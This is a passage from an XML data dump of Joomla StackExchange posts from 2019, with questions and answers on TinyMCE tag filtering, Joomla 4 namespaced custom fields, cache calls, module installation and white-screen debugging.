  <row Id="24684" PostTypeId="1" AcceptedAnswerId="24775" CreationDate="2019-05-17T21:08:46.110" Score="2" ViewCount="117" Body="&lt;p&gt;I want to add &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt; tags in the source code from TinyMCE to add &lt;code&gt;schema.org&lt;/code&gt; declarations.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tiny MCE is set to use the filter from Joomla.  &lt;/li&gt;&#xA;&lt;li&gt;The Joomla textfilter is set to &quot;No Filtering&quot;.  &lt;/li&gt;&#xA;&lt;li&gt;I can use &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; in the source code of MCE, so the &quot;No Filtering&quot; looks like is working. &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; is on the default Blacklist.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However, if I add &lt;code&gt;&amp;lt;meta&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt; to the source code containing &lt;code&gt;schema.org&lt;/code&gt; declarations, Tiny MCE removes the tags after switch from &quot;Source Code Editor&quot; back to &quot;WYSIWYG&quot; and vice versa.&lt;/p&gt;&#xA;" OwnerUserId="8968" LastEditorUserId="12352" LastEditDate="2019-05-18T06:08:32.557" LastActivityDate="2019-06-02T09:16:20.367" Title="Remove textfilter partially for &lt;link&gt; and &lt;meta&gt; not working" Tags="|content-filtering|tinymce|joomla-3.9|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24685" PostTypeId="1" AcceptedAnswerId="24691" CreationDate="2019-05-18T05:55:16.073" Score="1" ViewCount="1308" Body="&lt;p&gt;I have the &lt;code&gt;editors-xtd\vimeo&lt;/code&gt; plugin with this structure&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;..\plugins\editors-xtd\vimeo\models\fields\(a bunch of custom fields)&#xA;..\plugins\editors-xtd\vimeo\forms\form.xml&#xA;..\plugins\editors-xtd\vimeo\forms\extra.xml&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In both the &lt;code&gt;.xml&lt;/code&gt; files I used&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;fieldset addfieldpath=&quot;/plugins/editors-xtd/vimeo/models/fields&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All working perfect in Joomla 3.9.5+ but I don't know how to set the &lt;code&gt;addfieldprefix&lt;/code&gt; in Joomla 4, already tried (according to the &lt;a href=&quot;https://joomla.digital-peak.com/images/blog/JAB17%20Prepare%20you%20extension%20for%20Joomla%204.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;JAB presentation&lt;/a&gt;) to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&quot;vimeo-options&quot; addfieldprefix=&quot;Plugin\EditorsXtd\Vimeo&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In a &lt;a href=&quot;https://joomla.stackexchange.com/questions/24567/add-a-custom-layout-for-editor-xtd-popup&quot;&gt;previous question&lt;/a&gt;, I found out how to use &lt;code&gt;com_ajax&lt;/code&gt; to set a custom layout for the plugin, here is how I load the &lt;code&gt;.xml&lt;/code&gt; files in my layout&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;..\plugins\editors-xtd\vimeo\tmpl\default.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;via&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Form::addFormPath(JPATH_ROOT.'/plugins/editors-xtd/vimeo/forms/');&#xA;$form = Form::getInstance('form',JPATH_ROOT.'/plugins/editors-xtd/vimeo/forms/form.xml');&#xA;$form-&amp;gt;addFieldPath(JPATH_ROOT.'/plugins/editors-xtd/vimeo/models/fields/');&#xA;$form-&amp;gt;loadFile('extra',false,false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The pop-up content is empty, no fields loaded from &lt;code&gt;extra.xml&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any input/suggestion.&lt;/p&gt;&#xA;" OwnerUserId="13509" LastEditorUserId="13509" LastEditDate="2019-05-18T06:52:15.447" LastActivityDate="2019-05-20T06:37:33.957" Title="Joomla 4 - how to set namespace for custom field addfieldprefix" Tags="|custom-field|joomla-4.x|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="24686" PostTypeId="2" ParentId="24637" CreationDate="2019-05-18T11:07:37.100" Score="1" Body="&lt;p&gt;Add custom paths with &lt;code&gt;getLayoutPaths()&lt;/code&gt; in the field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function getLayoutPaths()&#xA;{&#xA;    return array_merge(&#xA;        array(JPATH_ROOT . '/templates/your_template/html/layouts'),&#xA;        parent::getLayoutPaths()&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you have a field like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;whatever&quot;&#xA;    layout=&quot;joomla.form.field.families&quot;&#xA;    type=&quot;families&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will render &lt;code&gt;templates/your_template/html/layouts/joomla/form/field/families.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's up to you what folder structure to use, but I would not use &lt;code&gt;joomla&lt;/code&gt; folder. It's meant for core layouts.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-05-18T11:07:37.100" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="24687" PostTypeId="1" AcceptedAnswerId="24688" CreationDate="2019-05-18T11:50:06.677" Score="1" ViewCount="754" Body="&lt;p&gt;Testing my Joomla 3.9 extensions in Joomla 4, some of them didn't work, because, as instructed with the (probably) &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;old documentation&lt;/a&gt; my custom fields use &lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('joomla.form.formfield');&#xA;require_once JPATH_ROOT . '/libraries/joomla/form/fields/list.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and they don't work, so this results in&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: require_once(mysite/libraries/joomla/form/fields/list.php): &#xA;failed to open stream: No such file or directory in &#xA;site\plugins\editors-xtd\vimeo\models\fields\customField.php on line 5&#xA;&#xA;Fatal error: require_once(): Failed opening required 'site/libraries/joomla/form/fields/list.php' in site\plugins\editors-xtd\vimeo\models\fields\customField.php on line 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means I have to use namespaces, and after some investigation into core Joomla fields, here's what I came up with&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//jimport('joomla.form.formfield');&#xA;//require_once JPATH_ROOT . '/libraries/joomla/form/fields/list.php';&#xA;&#xA;use Joomla\CMS\Form\FormField;&#xA;use Joomla\CMS\Form\FormHelper;&#xA;use Joomla\CMS\Form\Field\ListField;&#xA;&#xA;// FormHelper::loadFieldClass('Joomla\CMS\Form\Field\ListField'); // also tried&#xA;FormHelper::loadFieldClass('list');&#xA;&#xA;&#xA;class FormFieldCustomField extends ListField {&#xA;&#xA;  protected $type = 'CustomField';&#xA;  // methods and stuff&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This makes it that instead of my field being rendered properly, I get a &lt;code&gt;text&lt;/code&gt; field, strangely enough, it also loads the JS/CSS assets.&#xA;My &lt;code&gt;getInput()&lt;/code&gt; method process the form values without using a layout, perhaps that's the issue in this case, but I don't actually know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any reply.&lt;/p&gt;&#xA;" OwnerUserId="13509" LastEditorUserId="13509" LastEditDate="2019-05-18T12:02:37.080" LastActivityDate="2021-06-06T19:04:10.390" Title="Joomla 4 - import parent field class into extending field class issue finding the files" Tags="|custom-field|form-fields-types|joomla-4.x|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24688" PostTypeId="2" ParentId="24687" CreationDate="2019-05-18T16:15:55.307" Score="0" Body="&lt;p&gt;I figured what the problem is. The naming scheme with Joomla 4 is different not only by the missing &lt;code&gt;J&lt;/code&gt; but also word order. Also folder structure and other classes deprecated/changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this very example &lt;code&gt;FormFieldCustomField&lt;/code&gt; should be &lt;code&gt;CustomFieldField&lt;/code&gt; if I were to manage to register the namespace (I'm totally new to this stuff), instead I better use this &lt;code&gt;JFormFieldCustomField extends JFormFieldList&lt;/code&gt; and it works just fine, probably until Joomla 5.&lt;/p&gt;&#xA;" OwnerUserId="13509" LastActivityDate="2019-05-18T16:15:55.307" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24689" PostTypeId="1" AcceptedAnswerId="24701" CreationDate="2019-05-18T16:25:10.883" Score="1" ViewCount="46" Body="&lt;p&gt;I have an article which shows as published in my back end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I click on &quot;preview&quot; which I believe is Regular Labs &quot;better preview&quot; I see a screen saying the article is unpublished.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have a menu item linked to it and published.  Visiting that URl gives me a black screen.  Google Tag Manager and JCH Optimize are loaded though.  As well as a the body tag/element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to be the case with all new articles.  Here is an example so you can view the source code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.squareballoon.co.uk/microservices/local-seo-directory-submission-1-off-payment-179&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.squareballoon.co.uk/microservices/local-seo-directory-submission-1-off-payment-179&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried disabling my Litespeed cache plugin in &quot;extensions&quot; &quot;manage&quot; but that didn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6vD7L.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6vD7L.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/78J0l.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/78J0l.png&quot; alt=&quot;Preview says article is unpublished&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2019-05-20T18:45:07.070" Title="Article Shows as white screen but plugins load" Tags="|articles|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24690" PostTypeId="1" AcceptedAnswerId="24692" CreationDate="2019-05-18T17:08:52.400" Score="2" ViewCount="569" Body="&lt;p&gt;From the &lt;a href=&quot;https://docs.joomla.org/Using_caching_to_speed_up_your_code&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; I use this part to store a large chunk of data&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (empty($families)) {&#xA;  $cache = Factory::getCache();&#xA;  $families = $cache-&amp;gt;call( array( 'JFormFieldFamily', 'getFamilyList' ) );&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Working perfectly on my Joomla 3.9.6, however my extension in Joomla 4 throws this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: call_user_func_array() expects parameter 1 to be a valid callback,&#xA;class 'Joomla\CMS\Cache\Cache' does not have a method 'call' in&#xA;site\libraries\src\Cache\CacheController.php on line 74&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking into the &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Cache.Cache.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; for &lt;code&gt;Joomla\CMS\Cache\Cache&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$families = $cache-&amp;gt;call( array( 'JFormFieldFamily', 'getFamilyList' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;becomes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$families = $cache-&amp;gt;get( array( 'JFormFieldFamily', 'getFamilyList' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and works properly on Joomla 3.9/4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to use &lt;code&gt;$cache-&amp;gt;store()&lt;/code&gt; method?&lt;/p&gt;&#xA;" OwnerUserId="13509" LastEditorUserId="13509" LastEditDate="2019-05-18T17:44:56.767" LastActivityDate="2019-05-20T09:24:48.947" Title="How to use cache calls in Joomla 4" Tags="|cache|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24691" PostTypeId="2" ParentId="24685" CreationDate="2019-05-18T18:06:05.637" Score="3" Body="&lt;p&gt;To implement Joomla standard namespacing in a plugin, follow these steps:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, declare extension's namespace in manifest file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;namespace&amp;gt;Joomla\Plugin\EditorsXtd\Vimeo&amp;lt;/namespace&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you are editing files on site, you need to delete &lt;code&gt;libraries/autoload_ps4.php&lt;/code&gt; file so it can regenerated. If you update the plugin using extension manager, this should be done automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fields must be placed in plugin's &lt;code&gt;Field&lt;/code&gt; directory. So move the contents of&#xA; &lt;code&gt;plugins/editors-xtd/vimeo/models/fields&lt;/code&gt; to &lt;code&gt;plugins/editors-xtd/vimeo/Field&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Field classes and filenames consist of field type and &lt;code&gt;Field&lt;/code&gt; suffix. Field type must start with an uppercase and is case sensitive. The filename would be &lt;code&gt;plugins/editors-xtd/vimeo/Field/ExampleField.php&lt;/code&gt; and the class name &lt;code&gt;ExampleField&lt;/code&gt;. &lt;code&gt;$type&lt;/code&gt; property should not contain suffix. You must also add namespace delcaration. An example of field looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;namespace Joomla\Plugin\EditorsXtd\Vimeo\Field;&#xA;&#xA;defined('JPATH_BASE') or die;&#xA;&#xA;use Joomla\CMS\Form\Field\ListField;&#xA;&#xA;class ExampleField extends ListField&#xA;{&#xA;    protected $type = 'Example';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To register fields use &lt;code&gt;addfieldprefix=&quot;Joomla\Plugin\EditorsXtd\Vimeo\Field&lt;/code&gt; in form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In form field type should not have a suffix:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;whatever&quot;&#xA;    type=&quot;Example&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you use camelcase for files/classes, the type in form must be case correctly, e.g. if filename is &lt;code&gt;MyExampleField&lt;/code&gt;, the type in form should be &lt;code&gt;MyExample&lt;/code&gt; because &lt;code&gt;Myexample&lt;/code&gt; or &lt;code&gt;myexample&lt;/code&gt; will not be detected.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2019-05-20T06:37:33.957" LastActivityDate="2019-05-20T06:37:33.957" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="24692" PostTypeId="2" ParentId="24690" CreationDate="2019-05-18T22:58:17.550" Score="4" Body="&lt;p&gt;The &lt;code&gt;call&lt;/code&gt; method has been marked as removed for Joomla 4.0, as it's simply a wrapper for &lt;code&gt;get()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't need to manually store the cache as this is done within the &lt;code&gt;get()&lt;/code&gt; method:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/4.0-dev/libraries/src/Cache/Controller/CallbackController.php#L139&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/4.0-dev/libraries/src/Cache/Controller/CallbackController.php#L139&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2019-05-20T09:24:48.947" LastActivityDate="2019-05-20T09:24:48.947" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24693" PostTypeId="1" CreationDate="2019-05-19T05:28:11.853" Score="0" ViewCount="185" Body="&lt;p&gt;In &lt;a href=&quot;https://joomla.stackexchange.com/questions/24685/joomla-4-how-to-set-namespace-for-custom-field-addfieldprefix/24691&quot;&gt;one of my previous questions&lt;/a&gt;, I learned how to properly set up a namespaced custom form field, but it turns out that it's only available within its plugin scope for some reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need the field defined in &lt;code&gt;plugins/editorsxtd/vimeo/Field/VimeoOptionsField.php&lt;/code&gt; to use its class in &lt;code&gt;plugins/content/vimeo/vimeo.php&lt;/code&gt; -- also a namespaced extension now.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// namespace Joomla\Plugin\Content;&#xA;&#xA;defined('JPATH_BASE') or die;&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\Language\Text;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;use Joomla\Plugin\EditorsXtd\Vimeo\Field\VimeoOptionsField;&#xA;&#xA;class PlgContentVimeo extends CMSPlugin&#xA;{&#xA;  protected $autoloadLanguage = true;&#xA;  public static $options = array();&#xA;&#xA;  function __construct(&amp;amp;$a, $b)&#xA;  {&#xA;    if(empty(static::$options))&#xA;    {&#xA;      // returns an array with options&#xA;      static::$options = Joomla\Plugin\EditorsXtd\Vimeo\Field\VimeoOptionsField::getOptionsList();&#xA;    }&#xA;  }&#xA;  public function onContentPrepare($context, &amp;amp;$article, &amp;amp;$params, $page = 0){&#xA;    // do the magic with static::$options&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This setup throws this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Class 'Joomla\Plugin\EditorsXtd\Vimeo\Field\VimeoOptionsField' not found&#xA;  site\plugins\content\vimeo\vimeo.php:31&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;use Joomla\Plugin\EditorsXtd\Vimeo\Field\VimeoOptionsField;&lt;/code&gt; declaration doesn't load the class into my plugin. I also tried  JLoader:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::registerNamespace('Joomla\Plugin\EditorsXtd\Vimeo\Field\VimeoOptionsField', JPATH_PLUGINS.'/editors-xtd/vimeo/Field/VimeoOptionsField.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this is not working either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does &lt;code&gt;JLoader::('NAMESPACE','PATH_TO_FIELD')&lt;/code&gt; need anything else? or what exactly do I need to call to access the methods in the &lt;code&gt;plugins/content/vimeo/vimeo.php&lt;/code&gt; class shown here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 2:&lt;/strong&gt;&#xA;After a close inspection, comparing code from Joomla 3.9 and Joomla 4, I came to the realization that Joomla 3.9. still uses old &lt;code&gt;JFormFieldFieldname&lt;/code&gt; class, no namespace so that explains why it's not working in Joomla 3, not yet, perhaps with v3.9.10.&lt;/p&gt;&#xA;" OwnerUserId="13509" LastEditorUserId="13509" LastEditDate="2019-05-20T06:56:11.200" LastActivityDate="2019-05-20T06:56:11.200" Title="Access namespaced custom field method from a plugin into another plugin" Tags="|joomla-3.x|custom-field|php7|joomla-4.x|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24695" PostTypeId="5" CreationDate="2019-05-20T08:25:13.773" Score="0" Body="&lt;p&gt;Versions and version control systems are widely used in the software industry to keep track of different versions of a piece of software. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following processes and techniques are often used in computer software engineering to keep track of different versions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Versioning&quot; rel=&quot;nofollow noreferrer&quot;&gt;Software versioning&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Version_control&quot; rel=&quot;nofollow noreferrer&quot;&gt;Revision control&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Versioning_file_system&quot; rel=&quot;nofollow noreferrer&quot;&gt;Versioning file systems&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Software versioning is the process of assigning either unique version names or unique version numbers to unique states of computer software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At a fine-grained level, revision control is often used for keeping track of incrementally different versions of electronic information, whether or not this information is actually computer software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the forms of revision control is a versioning file system. Such a system is any computer file system which allows a computer file to exist in several versions at the same time.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-20T08:33:05.453" LastActivityDate="2019-05-20T08:33:05.453" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24696" PostTypeId="4" CreationDate="2019-05-20T08:25:13.773" Score="0" Body="Version defines an unique state of a computer software or a file." OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-05-20T08:33:08.620" LastActivityDate="2019-05-20T08:33:08.620" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24697" PostTypeId="1" CreationDate="2019-05-20T08:25:55.923" Score="0" ViewCount="213" Body="&lt;p&gt;I want to create and install a module via component postflight.  I can get postflight etc. to work, but I can't get it to create and install the module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code I've created:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get the database object&#xA;$db = JFactory::getDbo();&#xA;&#xA;// JTableCategory is autoloaded in J! 3.0, so...&#xA;if (version_compare(JVERSION, '3.0', 'lt'))&#xA;{&#xA;    JTable::addIncludePath(JPATH_PLATFORM . 'joomla/database/table');&#xA;}&#xA;&#xA;// Initialize a new category&#xA;$module = JTable::getInstance('Module');&#xA;$module-&amp;gt;extension = 'mod_w4cmenu';&#xA;$module-&amp;gt;title = 'My New Menu';&#xA;$module-&amp;gt;description = 'A module for my component';&#xA;$module-&amp;gt;published = 1;&#xA;$module-&amp;gt;access = 1;&#xA;$module-&amp;gt;params = '{&quot;title&quot;:&quot;menu2&quot;,&quot;cssPrefix&quot;:&quot;&quot;,&quot;menuText&quot;:&quot;New TExt&quot;,&quot;includeButton&quot;:&quot;0&quot;}';&#xA;$module-&amp;gt;metadata = '{&quot;page_title&quot;:&quot;&quot;,&quot;author&quot;:&quot;&quot;,&quot;robots&quot;:&quot;&quot;}';&#xA;$module-&amp;gt;language = '*';&#xA;echo&quot;&amp;lt;pre&amp;gt;&quot;;&#xA;print_r($module);&#xA;echo&quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;// Set the location in the tree&#xA;//$module-&amp;gt;setLocation(1, 'last-child');&#xA;&#xA;// Check to make sure our data is valid&#xA;if (!$module-&amp;gt;check())&#xA;{&#xA;    JError::raiseNotice(500, $module-&amp;gt;getError());&#xA;    return false;&#xA;}&#xA;&#xA;// Now store the category&#xA;if (!$module-&amp;gt;store(true))&#xA;{&#xA;    JError::raiseNotice(500, $module-&amp;gt;getError());&#xA;    return false;&#xA;}&#xA;&#xA;// Build the path for our category&#xA;$module-&amp;gt;rebuildPath($module-&amp;gt;id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This prints out the created object which looks ok, but it then just throws: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I could believe that I'm completely off track with the way I'm implementing this, but I can't find anything that explains how to do this.&lt;/p&gt;&#xA;" OwnerUserId="12248" LastEditorUserId="12352" LastEditDate="2019-05-21T22:55:04.287" LastActivityDate="2019-05-21T22:55:04.287" Title="How to programmatically create and install a module during component postflight?" Tags="|joomla-3.x|module|installation|module-manager|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24699" PostTypeId="1" AcceptedAnswerId="24700" CreationDate="2019-05-20T16:07:57.113" Score="0" ViewCount="951" Body="&lt;p&gt;When I go into an article, and then click to upload an image I receive the error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The server returned an invalid JSON response.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I actually receive the error twice in a row if that helps.  Can anyone help to explain why this might happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have debugging turned on.  Could that be the cause?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't show any images or folders, but navigating to the &quot;media manager&quot; does show these items.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2019-05-30T16:36:14.253" Title="Click to upload an image &quot;The server returned an invalid JSON response.&quot;" Tags="|server|json|" AnswerCount="1" CommentCount="1" ClosedDate="2019-05-22T07:02:22.340" ContentLicense="CC BY-SA 4.0" />
  <row Id="24700" PostTypeId="2" ParentId="24699" CreationDate="2019-05-20T16:19:26.257" Score="0" Body="&lt;p&gt;This only occurs when debug is turned on and it is &lt;strong&gt;a JCE issue&lt;/strong&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have contacted JCE separately.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2019-05-30T16:36:14.253" LastActivityDate="2019-05-30T16:36:14.253" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="24701" PostTypeId="2" ParentId="24689" CreationDate="2019-05-20T18:45:07.070" Score="1" Body="&lt;p&gt;Although I followed various other articles on the internet that suggested various good fixes mine was caused by something different.  I include the other articles for completeness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Solution:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had 1 template set to the default template, but I had assigned another template to all pages which caused me this problem.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think my situation was unusual so I include the other information to help anyone else who arrives here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;More common solutions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from: &lt;a href=&quot;https://www.joomlashack.com/blog/joomla/white-screen-of-death/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomlashack.com/blog/joomla/white-screen-of-death/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Option #1. Change Error Reporting to Maximum&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;set error reporting to maximum&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Try to log into your Joomla administrator area. If you can get in, go&#xA;  to Global Configuration &gt; Server &gt; Error Reporting and set it to&#xA;  Maximum. You can find a more detailed tutorial for this here. Now&#xA;  check the front of your site to see if any errors are displaying. If&#xA;  you can't access your site's administrator area, set this in your&#xA;  configuration.php file:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;public $error_reporting = 'development';&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Option #2. Edit Files in FTP&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Log in to your Joomla site files via FTP. Find your index.php file&#xA;  located in the root of your site. Open the index.php and add this code&#xA;  directly after the very first line of the file:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;ini_set('display_errors', TRUE); error_reporting(E_ALL);&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Option #3. Edit PHP.ini 